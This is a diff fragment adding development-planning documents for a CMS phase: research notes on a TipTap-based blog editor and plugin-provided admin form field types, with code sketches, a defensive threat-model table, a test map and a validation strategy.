- `<table><thead>…` came out as `<table style="min-width: 50px;"><colgroup>…</colgroup><tbody><tr><th><p>A</p></th>…</tbody></table><p></p>`.
|
||||
- `<figure><img><figcaption>Cap</figcaption></figure>` came out as `<img …><p>Cap</p>`.
|
||||
|
||||
[VERIFIED: probe output this session]
|
||||
**How to avoid:** Use Patterns 3 and 4.
|
||||
**Warning signs:** A vitest that sets `value` and reads `value` without any edit returns a different string.
|
||||
|
||||
### Pitfall 2: Link extension adds attributes to every link
|
||||
**What goes wrong:** Every re-serialized `<a>` gains `target="_blank" rel="noopener noreferrer nofollow"`.
|
||||
**Why:** The defaults are `HTMLAttributes: { target: '_blank', rel: 'noopener noreferrer nofollow', class: null }` [VERIFIED: node_modules/@tiptap/extension-link/src/link.ts:263-267].
|
||||
**How to avoid:** Configure `link: { HTMLAttributes: { target: null, rel: null, class: null }, openOnClick: false }` and preserve the original `target`/`rel` through the attribute map. Keep the default `isAllowedUri` (it refuses `javascript:`).
|
||||
|
||||
### Pitfall 3: The trailing node appends `<p></p>`
|
||||
**What goes wrong:** StarterKit v3 includes `TrailingNode`, so a document that ends in a table or another atom gains an empty paragraph.
|
||||
**How to avoid:** `StarterKit.configure({ trailingNode: false })` [VERIFIED: local probe, trailing `<p></p>` gone with the option].
|
||||
|
||||
### Pitfall 4: `setContent` emits `update` by default in v3
|
||||
**How to avoid:** Pass the initial value through the `content` option or `setContent(v, { emitUpdate: false })`. Track dirty from user transactions only. [VERIFIED: probe; CITED: tiptap set-content docs]
|
||||
|
||||
### Pitfall 5: The 16.1 stopgap is not byte-preserving
|
||||
**What goes wrong:** Since 16.1, every admin post save runs `FormatHTML(post.Content)` (goldmark with `html.WithUnsafe()`, format_html.go:22) and stores the result in `content_html`.
|
||||
- goldmark trims the input and adds a trailing `\n`.
|
||||
- CommonMark HTML-block rules can turn 4-space-indented HTML into code blocks, and can process markdown between blank-line-separated HTML blocks. [ASSUMED from CommonMark spec behavior]
|
||||
- The 16.1 test compares `strings.TrimSpace(stored.ContentHTML)` [VERIFIED: posts_admin_smoke_test.go:146], so it cannot detect byte drift.
|
||||
**How to avoid:** Replace the stopgap on the admin path (Pattern 6). Tighten the test to exact bytes and add the untouched case: a PUT with the served value must leave `content`, `content_html` and `updated_at`-independent columns unchanged.
|
||||
|
||||
### Pitfall 6: Saving an untouched markdown post converts it
|
||||
**What goes wrong:** Without the server-side skip, an untouched markdown post sends `content_html` back as `content`, a silent format migration with no edit. That contradicts D-03, and also D-07's "on first edit".
|
||||
**How to avoid:** Use the Pattern 3 server skip.
|
||||
|
||||
### Pitfall 7: Non-default `content_html` is never written by the admin today
|
||||
**What goes wrong:** `FormBeforeUpdate` sets only the host `ContentHTML`. `applyMLTranslations` writes only the field itself (`content`). So an `en` edit leaves the `en` `content_html` stale. PHP wrote both per locale: `setAttributeTranslated('content', …)` and `setAttributeTranslated('content_html', Post::formatHtml($value), …)` [VERIFIED: fonoteka/plugins/golem15/journal/formwidgets/MLJournalMarkdown.php getSaveValue].
|
||||
**How to avoid:** Use the Pattern 2 written-values accessor and the companion write in `FormAfter*`.
|
||||
|
||||
### Pitfall 8: Field-type CSS gets disabled on navigation
|
||||
**What goes wrong:** `activateStyles(controllerId)` disables every link whose owner is not the active controller [VERIFIED: admin/src/app/pluginAssets.ts].
|
||||
**How to avoid:** Add a global owner that `activateStyles` never touches.
|
||||
|
||||
### Pitfall 9: Route pattern collision panics at boot
|
||||
**What goes wrong:** See Pattern 9. Use the `/{id}/fields/{field}/upload` shape and keep `TestPhase09PermissionMatrix` green.
|
||||
|
||||
### Pitfall 10: The `data:` substring in prose trips `CheckHTML`
|
||||
**What goes wrong:** ``(?i)(?:javascript|vbscript|data):`` matches anywhere, including Polish text "Data: 12.03" ("data" is Polish for "date") and "Metadata:". The editor would then answer 422 on harmless text.
|
||||
**Evidence:** There are 0 occurrences in the local export [VERIFIED: scan this session], so this is a latent false-positive risk, not a current blocker.
|
||||
**How to handle:** Show the 422 message clearly in the editor. Changing the gate is a security decision and out of scope (D-10).
|
||||
|
||||
### Pitfall 11: There is no Docker on this machine
|
||||
**What goes wrong:** The testcontainers suites cannot run here: the `modules/cabana` Postgres tests and the sm-journal-plugin admin harness, including `TestPostsAdminResaveKeepsHTML` [VERIFIED: `docker info` failed this session; 16.1-01 SUMMARY records the same].
|
||||
**How to handle:** Plan DryRun/unit coverage that runs with `-short` and a human Docker-host gate before the release (the 16.1-02 "docker-first" pattern).
|
||||
|
||||
## Code Examples
|
||||
|
||||
### 1. pact surface (proposed; names are Claude's discretion)
|
||||
|
||||
```go
|
||||
// FormFieldType is a plugin-registered, value-bearing admin form field type
|
||||
// (Winter registerFormWidgets). Name is the global alias used as `type:` in
|
||||
// fields.yaml; Element is the custom-element tag the plugin's script defines.
|
||||
type FormFieldType struct {
|
||||
Name string
|
||||
Element string
|
||||
Translatable bool // value is a locale -> string map stored through the translation writer
|
||||
Scripts []string // AdminFS paths under assets/ (.js, .mjs), loaded on every admin page
|
||||
Styles []string // AdminFS paths under assets/ (.css)
|
||||
Options []string // the type's own fields.yaml keys
|
||||
CheckOptions func(options map[string]any) error `json:"-"`
|
||||
Decode func(ctx context.Context, in FormFieldValue) (any, error) `json:"-"`
|
||||
Load func(ctx context.Context, in FormFieldValue) (any, error) `json:"-"`
|
||||
ListValue func(value any) string `json:"-"`
|
||||
Upload func(ctx context.Context, in FormFieldUpload) (FormFieldUploadResult, error) `json:"-"` // optional
|
||||
}
|
||||
|
||||
type FormFieldValue struct {
|
||||
DB *gorm.DB // the save transaction, or the read handle for Load
|
||||
Record any // the loaded (or new) model pointer
|
||||
Field string
|
||||
Locale string // "" for a non-translatable type
|
||||
Default bool // Locale is the host-column locale
|
||||
Value any // submitted (Decode) or stored (Load) value
|
||||
}
|
||||
|
||||
// FieldError is a value refusal shown on the field (422).
|
||||
type FieldError struct{ Messages []string }
|
||||
|
||||
type HasFormFieldTypes interface{ FormFieldTypes() []FormFieldType }
|
||||
```
|
||||
|
||||
(`pact` already imports `gorm.io/gorm` and `context` [VERIFIED: modules/pact/capabilities.go:3-13].)
|
||||
|
||||
### 2. Journal Decode (Go, no new dependency)
|
||||
|
||||
```go
|
||||
func decodeBlogHTML(_ context.Context, in pact.FormFieldValue) (any, error) {
|
||||
text, ok := in.Value.(string)
|
||||
if !ok {
|
||||
return nil, &pact.FieldError{Messages: []string{"golem15.journal::lang.post.content_invalid"}}
|
||||
}
|
||||
if err := CheckHTML(text); err != nil { // classes.CheckHTML: refuse, never rewrite (D-10)
|
||||
return nil, &pact.FieldError{Messages: []string{err.Error()}}
|
||||
}
|
||||
return text, nil
|
||||
}
|
||||
```
|
||||
|
||||
### 3. Element skeleton (TypeScript, light DOM)
|
||||
|
||||
```ts
|
||||
// Source: TipTap Editor/setContent docs + local probes (emitUpdate:false fires no update)
|
||||
class BlogEditor extends HTMLElement {
|
||||
#original = '' // exact served string
|
||||
#dirty = false
|
||||
#editor?: Editor
|
||||
get value(): string { return this.#dirty ? serialize(this.#editor!) : this.#original }
|
||||
set value(v: string) {
|
||||
if (v === this.value) return // echo of our own summer-change: no reset
|
||||
this.#original = v; this.#dirty = false
|
||||
this.#editor?.commands.setContent(v, { emitUpdate: false })
|
||||
}
|
||||
connectedCallback() {
|
||||
this.#editor = new Editor({
|
||||
element: this.querySelector('[data-pm]')!, injectCSS: false,
|
||||
extensions: preservationExtensions(), content: this.#original,
|
||||
onUpdate: ({ transaction }) => {
|
||||
if (!transaction.docChanged) return
|
||||
this.#dirty = true
|
||||
this.dispatchEvent(new CustomEvent('summer-change', { bubbles: true, detail: { value: this.value } }))
|
||||
},
|
||||
})
|
||||
}
|
||||
disconnectedCallback() { this.#editor?.destroy() }
|
||||
}
|
||||
customElements.define('golem15-journal-blogeditor', BlogEditor)
|
||||
```
|
||||
|
||||
### 4. Layer embed expansion (SSR-safe string transform)
|
||||
|
||||
```ts
|
||||
// After gateJournalHtml; the iframe exists only in the rendered page (D-05).
|
||||
const YOUTUBE = /<figure data-embed="youtube" data-id="([A-Za-z0-9_-]{11})"><\/figure>/g
|
||||
export function expandEmbeds(html: string): string {
|
||||
return html.replace(YOUTUBE, (_m, id: string) =>
|
||||
`<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/${id}" title="YouTube" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="encrypted-media; picture-in-picture" allowfullscreen></iframe></figure>`)
|
||||
}
|
||||
```
|
||||
|
||||
## State of the Art
|
||||
|
||||
| Old Approach | Current Approach | When Changed | Impact |
|
||||
|--------------|------------------|--------------|--------|
|
||||
| TipTap 2 `setContent(content, emitUpdate = false)` | v3 options object, `emitUpdate` default `true` | TipTap v3 | Echo updates mark dirty unless suppressed |
|
||||
| `History` extension | `UndoRedo` (StarterKit option `undoRedo`) | v3 | Config key name [VERIFIED: starter-kit.ts:101-103] |
|
||||
| `@tiptap/extension-table-row/-cell/-header` separate packages | `TableKit` from `@tiptap/extension-table` | v3 | One install [CITED: tiptap table docs] |
|
||||
| StarterKit without link/underline/trailing node | v3 StarterKit includes Link, Underline, TrailingNode | v3 | Must configure or disable [VERIFIED: starter-kit.ts:130-169] |
|
||||
|
||||
**Deprecated/outdated:** goldmark rendering of HTML content on the admin path (the 16.1 stopgap) is replaced by D-02/D-10.
|
||||
|
||||
## Assumptions Log
|
||||
|
||||
| # | Claim | Section | Risk if Wrong |
|
||||
|---|-------|---------|---------------|
|
||||
| A1 | "Looks like HTML" (first non-space byte `<`) identifies an HTML post; anything else is markdown and is served as `content_html` | Pattern 6 | A markdown post starting with an HTML tag would open as raw markdown in WYSIWYG; low frequency (0 of the local export's markdown bodies start with `<`) but needs user OK |
|
||||
| A2 | Light DOM is preferable to Shadow DOM for ProseMirror | Alternatives | Style leakage if wrong; mitigated by tag-scoped CSS |
|
||||
| A3 | Top-level `Node.eq` reuse of original block HTML is worth its complexity | Pattern 4 item 7 | Planner may cut it; D-03 only requires "as far as possible" |
|
||||
| A4 | goldmark can mangle indented HTML (CommonMark HTML block rules) | Pitfall 5 | Only affects the justification for replacing the stopgap, not the decision |
|
||||
| A5 | Settings forms refuse plugin types in v1 | Pattern 1 | A future settings form wanting a plugin type needs a follow-up |
|
||||
| A6 | Journal uploads keep the media-bucket layout (`/journal/...`), not `content_images` attachments (PHP parity used attachments) | Pattern 9 | Attachments would need deferred binding with the form session key |
|
||||
| A7 | contenteditable inconsistency justifies the library (general knowledge) | Don't Hand-Roll | None (D-16 locks TipTap anyway) |
|
||||
|
||||
## Open Questions (RESOLVED)
|
||||
|
||||
All three questions were settled during planning; the resolution line under each question is binding for the plans.
|
||||
|
||||
1. **D-18 upload path reachability (needs user confirmation).**
|
||||
- **RESOLVED (user decision 2):** cabana owns the upload transport, `POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` (plan 01), which calls the field type's `Upload`; Journal moves its storage rules into `classes.StoreMedia` and calls it from that `Upload` (plan 03), and `POST /_journal/api/v1/media/upload` stays unchanged for API clients (D-09).
|
||||
- What we know:
|
||||
- The admin SPA never reads the JWT: "the JWT lives in an HttpOnly cookie the SPA never reads" [VERIFIED: admin/src/api/client.ts:2-4].
|
||||
- The cookie is `Path: s.adminPrefix()`, `HttpOnly: true`, `SameSite: http.SameSiteStrictMode` [VERIFIED: modules/cabana/auth.go:244-252], with `AdminCookieName = "summer_admin"` [VERIFIED: modules/cabana/prefix.go:16].
|
||||
- The Journal guard is built without cookie names: `return bouncer.NewBackendJWTGuard(secret, cabana.BackendUsers{DB: gdb, Registry: reg}, bl, write)` [VERIFIED: sm-journal-plugin/controllers/api/auth.go:80], and the route is `g.Post("/media/upload", ...)` under `/_journal/api/v1` [VERIFIED: routes.go:26].
|
||||
- So the browser sends no credential to that route from the admin.
|
||||
- Recommendation:
|
||||
- Keep the existing route untouched for API clients (D-09 spirit).
|
||||
- Extract its storage logic into `classes` (or `controllers/api`), keeping these values: `const mediaMaxBytes = 10240 << 10`; extensions `"jpg", "jpeg", "png", "gif", "webp"` [VERIFIED: media.go:17,45]; the `/journal/<folder>/<name>` keys; the unique-suffix logic.
|
||||
- Call it from the field type's `Upload` through the cabana field upload route (Pattern 9).
|
||||
- This keeps "the existing Journal media storage" but changes the transport, so confirm the reading of D-18 with the user.
|
||||
2. **Where the SPA learns the global field-type assets.** Options: a new `GET /field-types` route (adds to the OpenAPI and route matrix), or a `meta.fieldTypes` on `/navigation`, which already loads on every page (`useNavigation.ts:13`). Recommendation: a dedicated route, which keeps the navigation contract unchanged. Planner's choice.
|
||||
- **RESOLVED (plan 01, planner's choice):** a dedicated `GET {api}/field-types` route, loaded by the SPA next to `/navigation`; the navigation contract does not change.
|
||||
3. **Release scope.** The 16.1 pattern applies: summercms tag v0.1.17 (latest is v0.1.16), a sm-journal-plugin `go.mod` require bump, the host gitlink bump, vue-journal-layer tag v0.2.0 (latest v0.1.0) with the `vue-grzybyfunkcjonalne-app` `package.json` pin `"vue-journal-layer": "git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0"` [VERIFIED: package.json:20] bumped, the host gitlink for the Vue app, `scripts/build.sh` (builds Go and Nuxt), rsync, restarting both supervisor programs, and the on-server smoke. Recommendation: include it as a plan with human checkpoints (Docker-host gate, UAT browser check of editing an imported post).
|
||||
- **RESOLVED (user decision 3):** release and UAT are in scope: plan 04 tags the layer (v0.2.0) and pins it in the app, and plan 05 tags summercms (v0.1.17 or the next free v0.1.x), bumps the plugin require and the host gitlinks, deploys UAT and runs the human Docker-host and UAT checkpoints.
|
||||
|
||||
## Environment Availability
|
||||
|
||||
| Dependency | Required By | Available | Version | Fallback |
|
||||
|------------|------------|-----------|---------|----------|
|
||||
| Go | all Go work | ✓ | go1.27.0 | — |
|
||||
| Node | plugin JS build, admin SPA, layer | ✓ | v22.23.2 (admin needs >=22.6; layer needs >=22.18) | — |
|
||||
| npm | plugin build, admin | ✓ | 12.0.2 | — |
|
||||
| pnpm | `vue-journal-layer` `check-git-install.sh` | not probed | — | Run on the release machine; the script exits early if pnpm is missing |
|
||||
| Docker | testcontainers suites (cabana Postgres, journal admin harness) | ✗ | — | DryRun/unit tests with `-short`; human Docker-host gate before the tag (16.1 pattern) |
|
||||
| ssh to UAT (`grzybyfunkcjonalne-uat`) | redeploy | not probed this session (worked in 16.1-02) | — | Human checkpoint |
|
||||
|
||||
**Missing dependencies with no fallback:** none blocking the code work.
|
||||
**Missing dependencies with fallback:** Docker (human-run gate).
|
||||
|
||||
## Validation Architecture
|
||||
|
||||
### Test Framework
|
||||
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| Framework | Go `testing` (+ testify), admin vitest 3.2.7 + happy-dom, plugin vitest 3.2.7 (new), layer `node --test` |
|
||||
| Config file | `admin/vitest.config.ts`; plugin `vite.config.ts`/`vitest.config.ts` (Wave 0); layer `package.json` `test` script |
|
||||
| Quick run command | `go test -short ./modules/pact ./modules/cabana -run 'FieldType\|Plugin'` |
|
||||
| Full suite command | `go vet ./... && go test -short ./...` in summercms.go; `npm --prefix admin test`; in `../sm-journal-plugin`: `go vet ./... && go test -short ./... && npm test`; in `../vue-journal-layer`: `npm test` |
|
||||
|
||||
### Phase Requirements → Test Map
|
||||
|
||||
| Req | Behavior | Test Type | Automated Command | File Exists? |
|
||||
|-----|----------|-----------|-------------------|-------------|
|
||||
| D-11 | Duplicate alias / core-type clash / bad element tag fails boot | unit | `go test -short ./modules/cabana -run TestFieldTypeRegistry` | ❌ Wave 0 |
|
||||
| D-12.1 | Unknown plugin key and CheckOptions error fail boot | unit | `go test -short ./modules/cabana -run TestFieldTypeOptions` | ❌ |
|
||||
| D-12.2/D-10 | FieldError → 422 on field, default + non-default locale | unit (DryRun/fake writer) | `go test -short ./modules/cabana -run TestFieldTypeDecode` | ❌ |
|
||||
| D-03 | Submitted == served → nothing written (host and translation) | unit | `go test -short ./modules/cabana -run TestFieldTypeUntouched` | ❌ |
|
||||
| D-12.3/D-07 | Load serves `content_html` for a markdown post, `content` for HTML | unit | `go test -short ../sm-journal-plugin/classes -run TestBlogEditorLoad` | ❌ |
|
||||
| D-12.4 | List column with plugin type uses ListValue | unit | `go test -short ./modules/cabana -run TestFieldTypeListValue` | ❌ |
|
||||
| D-13/D-15 | Schema carries `element`/`translatable`; OpenAPI/TS in sync | unit + script | `go test ./modules/cabana -run 'TestPhase09' && bash scripts/check-admin-openapi.sh --check` | ✅ (extend) |
|
||||
| D-13 | PluginField binds value, emits only on summer-change; ML wrapper | vitest | `npm --prefix admin test -- PluginField` | ❌ |
|
||||
| D-18 | Upload route: auth, CSRF, permission, scope, size cap, non-plugin field 404 | unit | `go test -short ./modules/cabana -run TestFieldUpload` | ❌ |
|
||||
| D-03/D-04 | Element: untouched value identical; rawHtml/embed/figure/link/table round-trip | vitest (happy-dom) | `npm --prefix ../sm-journal-plugin test` | ❌ |
|
||||
| todo resave | Re-save untouched imported HTML post: `content` and `content_html` byte-identical; edited save sets both equal | integration (Postgres) | `go test ../sm-journal-plugin -run TestPostsAdminResaveKeepsHTML` (Docker host) | ✅ (tighten) |
|
||||
| D-17 | expandEmbeds allowlist, id regex, gate-first order | node:test | `npm --prefix ../vue-journal-layer test` | ❌ (`tests/embeds.test.ts`) |
|
||||
| docs | READMEs/docs identifiers and links | unit | `go test ./cmd/summer -run TestDocsTree` | ✅ |
|
||||
| dist | Admin and plugin bundles match committed dist | script | `bash scripts/check-admin-dist.sh` and `bash ../sm-journal-plugin/scripts/check-dist.sh` | ✅ / ❌ |
|
||||
|
||||
### Sampling Rate
|
||||
- **Per task commit:** `go vet ./... && go test -short` for the touched packages, plus the touched vitest file.
|
||||
- **Per wave merge:** every full-suite command above.
|
||||
- **Phase gate:** full suites green, `check-admin-dist.sh`, `check-admin-openapi.sh --check`, the plugin `check-dist.sh`, `TestDocsTree`, and the human Docker-host run of the testcontainers suites, all before `/msd-verify-work`.
|
||||
|
||||
### Wave 0 Gaps
|
||||
- [ ] `../sm-journal-plugin/package.json`, `package-lock.json`, `vite.config.ts`, `vitest` setup with happy-dom, `scripts/check-dist.sh`
|
||||
- [ ] `modules/cabana/field_type_test.go`: registry, options, decode/skip, list, upload (reuse `openDryRunDB`/`newDryRunListService` from query_relation_test.go and a fake `TranslationWriter`)
|
||||
- [ ] `admin/tests/form/PluginField.test.ts` with a stub custom element
|
||||
- [ ] `../vue-journal-layer/tests/embeds.test.ts`
|
||||
|
||||
## Security Domain
|
||||
|
||||
`security_enforcement` is absent from config (treated as enabled); ASVS L1.
|
||||
|
||||
### Applicable ASVS Categories
|
||||
|
||||
| ASVS Category | Applies | Standard Control |
|
||||
|---------------|---------|-----------------|
|
||||
| V2 Authentication | yes (upload route) | cabana backend guard (cookie or Bearer); never a token handed to the element |
|
||||
| V3 Session Management | yes | Existing HttpOnly, SameSite=Strict cookie scoped to the admin prefix; `requireAjax` on POST |
|
||||
| V4 Access Control | yes | Controller `RequiredPermissions` + `FormExtendQuery` record scope on the upload route; field must be a plugin type with `Upload` and its `context` must allow the op |
|
||||
| V5 Input Validation | yes | `CheckHTML` per locale in Decode (refuse, no rewrite); option keys validated at boot; upload extension allowlist + size cap; embed id regex in the layer |
|
||||
| V6 Cryptography | no | — |
|
||||
| V12 Files and Resources | yes | `.jpg/.jpeg/.png/.gif/.webp` only (no SVG); 10 MiB cap; nginx serves `/storage/app/uploads/public` image types only with `nosniff` [VERIFIED: deploy/nginx/grzybyfunkcjonalne-staging.conf, its storage image location block] |
|
||||
| V14 Configuration | yes | Admin CSP `script-src 'self'` unchanged; bundle has no eval |
|
||||
|
||||
### Known Threat Patterns (threat model input)
|
||||
|
||||
| Pattern | STRIDE | Standard Mitigation |
|
||||
|---------|--------|---------------------|
|
||||
| Stored XSS through the raw HTML block, source tab or a non-default locale | Tampering / Elevation | `CheckHTML` in Decode for every locale value; layer `gateJournalHtml` again before v-html |
|
||||
| An iframe smuggled in as an "embed" | Tampering | Placeholder only in storage; the layer builds the iframe from a validated id and a fixed host |
|
||||
| XSS in the admin itself (the element renders stored HTML in contenteditable) | Elevation | ProseMirror renders through its schema, so `script` is never a node and the `rawHtml` card shows text, not live DOM. The admin CSP `script-src 'self'` blocks inline handlers. Do not `innerHTML` raw blocks into the live admin DOM. [ASSUMED: verify in the plan's tests that the rawHtml card renders escaped text] |
|
||||
| A plugin alias hijacking a core type or another plugin's type | Spoofing | Boot fails on any collision (D-11) |
|
||||
| A plugin element exfiltrating the session | Information disclosure | No credential is passed to elements; the cookie is HttpOnly; the SPA performs uploads |
|
||||
| CSRF on the upload route | Tampering | `requireAjax` (X-Requested-With) plus a SameSite=Strict cookie |
|
||||
| Upload of HTML or SVG disguised as an image | Tampering / Elevation | Extension allowlist without SVG; nginx type map + `nosniff`; consider also checking the magic bytes with `http.DetectContentType` (stdlib) |
|
||||
| Path traversal or odd filenames in upload keys | Tampering | `path.Base`, the folder regex `^[A-Za-z0-9_\-/]*$`, `..` refused (existing); consider slugifying the base name for the admin path |
|
||||
| Oversized uploads, or unbounded JSON in Decode | DoS | `http.body_limits.upload_bytes` on the route; the existing default body limit on saves |
|
||||
| Option values reaching the element as HTML | Tampering | Options delivered as a JSON attribute; the element never `innerHTML`s them |
|
||||
|
||||
## Sources
|
||||
|
||||
### Primary (HIGH confidence)
|
||||
- Source files read in this session:
|
||||
- `modules/pact/capabilities.go`
|
||||
- in `modules/cabana`: `form_schema.go`, `crud.go`, `field_ml.go`, `extension.go`, `plugin_assets.go`, `registry.go`, `http.go`, `list_schema.go`, `schema_types.go`
|
||||
- in `admin/src`: `components/form/registry.ts`, `formState.ts`, `mlLocale.ts`, `fields/WidgetField.vue`, `fields/MLField.vue`, `app/pluginAssets.ts`, `views/FormView.vue`
|
||||
- `modules/boardwalk/boardwalk.go`, `modules/bouncer/jwt.go`
|
||||
- in sm-journal-plugin: `classes/format_html.go`, `controllers/posts.go`, `controllers/categories.go`, `controllers/api/media.go`, `controllers/api/auth.go`, `routes.go`, `admin.go`, `plugin.go`, `models/post.go`, `models/category.go`, both `fields.yaml`, `posts_admin_smoke_test.go`
|
||||
- in sm-translate-plugin: `classes/admin_writer.go`
|
||||
- in vue-journal-layer: `PostBody.vue`, `htmlGate.ts`
|
||||
- in the host: nginx conf, `DEPLOY.md`, `storage.yaml`
|
||||
- in the frozen PHP Journal: `Category.php`, `Post.php`, `JournalMarkdown.php`, `MLJournalMarkdown.php`
|
||||
- npm registry: `npm view` for every recommended package; `msd-tools query package-legitimacy check`
|
||||
- Local probes: TipTap 3.31.4 on happy-dom 20.11.6 (lossiness, rawHtml/embed nodes, global attributes, emitUpdate, trailingNode); an esbuild bundle-size build
|
||||
|
||||
### Secondary (MEDIUM confidence)
|
||||
- tiptap.dev docs: extend-existing (global attributes), editor API (parseOptions, injectCSS), set-content (emitUpdate default true), table (TableKit options)
|
||||
- support.google.com/youtube/answer/171780 (privacy-enhanced embed domain)
|
||||
|
||||
### Tertiary (LOW confidence)
|
||||
- General ProseMirror Shadow DOM quirk claim (A2)
|
||||
|
||||
## Metadata
|
||||
|
||||
**Confidence breakdown:**
|
||||
- Standard stack: HIGH. Versions come from the registry, and the toolchain is pinned to the admin's existing lockfile.
|
||||
- Architecture: HIGH for the integration points (read from source). MEDIUM for the proposed API shape and the editor serializer, which are design choices.
|
||||
- Pitfalls: HIGH. Most were reproduced by local probes or read from source.
|
||||
|
||||
**Research date:** 2026-10-09
|
||||
**Valid until:** 2026-11-08 for the framework findings. Re-check TipTap patch versions before installing, because the project releases fast.
|
||||
@@ -0,0 +1,88 @@
|
||||
---
|
||||
phase: "16.2"
|
||||
slug: "plugin-provided-field-types-and-the-blog-editor-formwidget"
|
||||
# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
|
||||
# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
|
||||
status: draft
|
||||
nyquist_compliant: false
|
||||
wave_0_complete: false
|
||||
created: "2026-10-09"
|
||||
---
|
||||
|
||||
# Phase 16.2 — Validation Strategy
|
||||
|
||||
> Per-phase validation contract for feedback sampling during execution.
|
||||
|
||||
---
|
||||
|
||||
## Test Infrastructure
|
||||
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| **Framework** | Go `testing` (+ testify); admin vitest 3.2.7 + happy-dom; sm-journal-plugin vitest 3.2.7 (new, Wave 0); vue-journal-layer `node --test` |
|
||||
| **Config file** | `admin/vitest.config.ts`; `../sm-journal-plugin/vitest.config.ts` (Wave 0); `../vue-journal-layer/package.json` `test` script |
|
||||
| **Quick run command** | `go test -short ./modules/pact ./modules/cabana -run 'FieldType\|Plugin'` |
|
||||
| **Full suite command** | `go vet ./... && go test -short ./...` (summercms.go); `npm --prefix admin test`; `go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -short ./... && npm --prefix ../sm-journal-plugin test`; `npm --prefix ../vue-journal-layer test` |
|
||||
| **Estimated runtime** | ~120 seconds |
|
||||
|
||||
---
|
||||
|
||||
## Sampling Rate
|
||||
|
||||
- **After every task commit:** `go vet` + `go test -short` for the touched packages, plus the touched vitest file
|
||||
- **After every plan wave:** every full-suite command above
|
||||
- **Before `/msd-verify-work`:** full suites green, `bash scripts/check-admin-dist.sh`, `bash scripts/check-admin-openapi.sh --check`, the plugin `check-dist.sh`, `go test ./cmd/summer -run TestDocsTree`, and the human Docker-host run of the testcontainers suites
|
||||
- **Max feedback latency:** 120 seconds
|
||||
|
||||
---
|
||||
|
||||
## Per-Task Verification Map
|
||||
|
||||
| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
|
||||
|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
|
||||
| TBD | — | — | D-11 | — | Alias collision fails boot | unit | `go test -short ./modules/cabana -run TestFieldTypeRegistry` | ❌ W0 | ⬜ pending |
|
||||
| TBD | — | — | D-12.1 | — | Unknown plugin key fails boot | unit | `go test -short ./modules/cabana -run TestFieldTypeOptions` | ❌ W0 | ⬜ pending |
|
||||
| TBD | — | — | D-12.2 / D-10 | XSS | CheckHTML refuses per locale → 422 | unit | `go test -short ./modules/cabana -run TestFieldTypeDecode` | ❌ W0 | ⬜ pending |
|
||||
| TBD | — | — | D-03 | — | Untouched value writes nothing | unit | `go test -short ./modules/cabana -run TestFieldTypeUntouched` | ❌ W0 | ⬜ pending |
|
||||
| TBD | — | — | D-12.4 | — | List column uses plugin formatter | unit | `go test -short ./modules/cabana -run TestFieldTypeListValue` | ❌ W0 | ⬜ pending |
|
||||
| TBD | — | — | D-13 / D-15 | — | Schema/OpenAPI/TS in sync | unit + script | `bash scripts/check-admin-openapi.sh --check` | ✅ | ⬜ pending |
|
||||
| TBD | — | — | D-13 | — | PluginField binds value, emits on summer-change | vitest | `npm --prefix admin test -- PluginField` | ❌ W0 | ⬜ pending |
|
||||
| TBD | — | — | D-18 | upload | Auth, CSRF, permission, scope, size cap, type allowlist | unit | `go test -short ./modules/cabana -run TestFieldUpload` | ❌ W0 | ⬜ pending |
|
||||
| TBD | — | — | D-07 | — | Markdown post served as content_html | unit | `go -C ../sm-journal-plugin test -short ./classes -run TestBlogEditorLoad` | ❌ W0 | ⬜ pending |
|
||||
| TBD | — | — | D-03 / D-04 | XSS | Element round-trips; rawHtml card shows escaped text | vitest | `npm --prefix ../sm-journal-plugin test` | ❌ W0 | ⬜ pending |
|
||||
| TBD | — | — | todo resave | — | Untouched re-save byte-identical | integration (Postgres) | `go -C ../sm-journal-plugin test -run TestPostsAdminResaveKeepsHTML ./...` | ✅ (tighten) | ⬜ pending |
|
||||
| TBD | — | — | D-17 | iframe | Embed allowlist, id regex, gate-first | node:test | `npm --prefix ../vue-journal-layer test` | ❌ W0 | ⬜ pending |
|
||||
| TBD | — | — | docs | — | README/docs identifiers exist | unit | `go test ./cmd/summer -run TestDocsTree` | ✅ | ⬜ pending |
|
||||
|
||||
*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
|
||||
|
||||
---
|
||||
|
||||
## Wave 0 Requirements
|
||||
|
||||
- [ ] `../sm-journal-plugin/package.json`, `package-lock.json`, `vite.config.ts`, vitest + happy-dom setup, `scripts/check-dist.sh`
|
||||
- [ ] `modules/cabana/field_type_test.go` — registry, options, decode/skip, list, upload
|
||||
- [ ] `admin/tests/form/PluginField.test.ts` — stub custom element
|
||||
- [ ] `../vue-journal-layer/tests/embeds.test.ts`
|
||||
|
||||
---
|
||||
|
||||
## Manual-Only Verifications
|
||||
|
||||
| Behavior | Requirement | Why Manual | Test Instructions |
|
||||
|----------|-------------|------------|-------------------|
|
||||
| Testcontainers Postgres suites | todo resave | No Docker on the dev machine | Run on a Docker host, as in 16.1 |
|
||||
| Editing imported posts on UAT | Phase goal | Real browser editing of live posts | Open an imported post, save untouched, then edit and save; compare columns |
|
||||
|
||||
---
|
||||
|
||||
## Validation Sign-Off
|
||||
|
||||
- [ ] All tasks have `<automated>` verify or Wave 0 dependencies
|
||||
- [ ] Sampling continuity: no 3 consecutive tasks without automated verify
|
||||
- [ ] Wave 0 covers all MISSING references
|
||||
- [ ] No watch-mode flags
|
||||
- [ ] Feedback latency < 120s
|
||||
- [ ] `nyquist_compliant: true` set in frontmatter
|
||||
|
||||
**Approval:** pending
|
||||
@@ -0,0 +1 @@
|
||||
No external API integration: internal pact field-type API, admin routes and a Journal editor; YouTube is only a fixed iframe host for stored placeholders, with no API calls.
|
||||
@@ -4,7 +4,7 @@ import { createAdminRouter } from './app/router'
|
||||
import { onUnauthorized } from './api/client'
|
||||
import { loadStrings } from './app/i18n'
|
||||
import { applyColorScheme } from './app/theme'
